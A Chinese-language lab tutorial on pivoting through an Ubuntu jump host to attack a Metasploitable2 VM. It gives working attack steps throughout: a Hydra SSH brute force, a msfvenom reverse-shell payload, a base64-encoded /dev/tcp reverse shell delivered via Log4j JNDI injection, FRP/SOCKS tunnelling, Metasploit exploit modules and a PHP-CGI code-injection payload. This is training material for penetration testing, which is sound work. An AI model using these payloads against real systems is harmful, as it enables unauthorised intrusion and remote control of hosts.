模拟对内网的Metasploitable2渗透
字数 1506 2025-08-11 00:55:05
Metasploitable2内网渗透实战教学文档
环境搭建
网络拓扑
- Kali攻击机:192.168.0.156(桥接模式)
- Ubuntu跳板机:
- 公网IP:192.168.0.193(桥接模式)
- 内网IP:10.1.1.1/24(VMnet3自定义网络)
- Metasploitable2靶机:10.1.1.2/24(VMnet3自定义网络)
- VPS服务器:43.142..(公网IP)
网络适配器配置
-
Ubuntu配置两个网络适配器:
- 适配器1:桥接模式(模拟公网接口)
- 适配器2:自定义VMnet3(模拟内网接口)
-
Metasploitable2配置:
- 单个适配器:自定义VMnet3
-
验证网络连通性:
- VPS、Kali和Ubuntu公网IP能互相通信
- Ubuntu内网IP能与靶机通信
- VPS和Kali无法直接与靶机通信
初始攻击阶段
方法一:SSH爆破获取Ubuntu访问权限
-
使用Nmap扫描Ubuntu开放端口:
nmap -sV 192.168.0.193发现开放22(SSH)和80(HTTP)端口
-
使用Hydra爆破SSH:
hydra -l root -p 123456 ssh://192.168.0.193成功获取root凭据:root/123456
-
通过SSH登录Ubuntu:
ssh root@192.168.0.193
方法二:生成木马获取Shell
-
使用msfvenom生成Linux反向Shell木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.156 LPORT=8000 -f elf -o payload.elf -
将木马上传到Ubuntu:
scp payload.elf root@192.168.0.193:/tmp/ -
在Kali上启动监听:
msfconsole use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.0.156 set LPORT 8000 run -
在Ubuntu上执行木马:
chmod +x /tmp/payload.elf /tmp/payload.elf
方法三:利用Log4j2漏洞获取Shell(备用方案)
-
构造JNDI注入Payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.193 -
生成JNDI注入URL:
${jndi:rmi://192.168.0.193:1099/a7x5hi} -
在Ubuntu上监听反弹Shell:
nc -lvp 4848
内网渗透准备
1. 信息收集
在Ubuntu上执行:
ifconfig
发现两个网卡:
- eth0: 192.168.0.193
- eth1: 10.1.1.1
2. 建立FRP隧道
VPS服务器配置(frps.ini):
[common]
bind_port = 7000
启动FRP服务端:
./frps -c ./frps.ini
Ubuntu客户端配置(frpc.ini):
[common]
server_addr = 43.142.*.*
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 8082
[socks5]
type=tcp
remote_port=8888
plugin=socks5
启动FRP客户端:
./frpc -c ./frpc.ini
3. 配置代理链
编辑/etc/proxychains.conf:
[ProxyList]
socks5 43.142.*.* 8888
内网扫描与渗透
1. 扫描内网存活主机
proxychains nmap -sn 10.1.1.0/24
发现靶机:10.1.1.2
2. 靶机端口扫描
proxychains nmap -p- 10.1.1.2
发现开放端口:21(FTP), 22(SSH), 23(Telnet), 80(HTTP)等
3. MSF配置代理
msfconsole
setg Proxies socks5:43.142.*.*:8888
setg ReverseAllowProxy true
漏洞利用实战
1. FTP服务漏洞利用(ProFTPD 2.3.4)
use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS 10.1.1.2
set LHOST 10.1.1.1 # 必须设置为Ubuntu内网IP
run
成功获取靶机Shell
2. SSH服务渗透
-
扫描SSH版本:
use auxiliary/scanner/ssh/ssh_version set RHOSTS 10.1.1.2 run -
爆破SSH密码:
use auxiliary/scanner/ssh/ssh_login set RHOSTS 10.1.1.2 set USERNAME msfadmin set PASS_FILE /path/to/passwords.txt run成功获取凭据:msfadmin/msfadmin
3. Samba服务漏洞利用(CVE-2007-2447)
use exploit/multi/samba/usermap_script
set RHOST 10.1.1.2
set LHOST 10.1.1.1 # 必须设置为Ubuntu内网IP
run
4. Web应用漏洞利用
- 配置浏览器通过SOCKS5代理访问内网
- 发现PHP漏洞(CVE-2012-2311):
在POST数据中插入PHP代码:/index.php?page=php://input&allow_url_include=on&auto_prepend_file=php://input<?php system('whoami'); ?>
问题解决与技巧
-
反弹Shell失败问题:
- 使用
proxychains msfconsole启动MSF - 确保LHOST设置为Ubuntu内网IP(10.1.1.1)
- 使用
-
端口转发技巧:
# 在Ubuntu上设置端口转发 socat TCP-LISTEN:9797,fork TCP:192.168.0.156:9797 -
静态路由配置(如需靶机访问外网):
# 在靶机上执行 sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 10.1.1.1
总结与备忘
-
关键工具:
- Metasploit Framework
- Nmap
- Hydra
- FRP
- Proxychains
-
重要概念:
- 网络拓扑设计
- 端口转发
- SOCKS代理
- 反弹Shell
- 漏洞利用链
-
常见问题:
- 确保LHOST设置正确(必须为靶机可达IP)
- 使用proxychains启动需要代理的工具
- 复杂网络环境下的连通性测试
-
扩展学习:
- 更多内网穿透工具:Ngrok、Earthworm
- 横向移动技术:Pass the Hash、Kerberos攻击
- 权限维持:后门植入、计划任务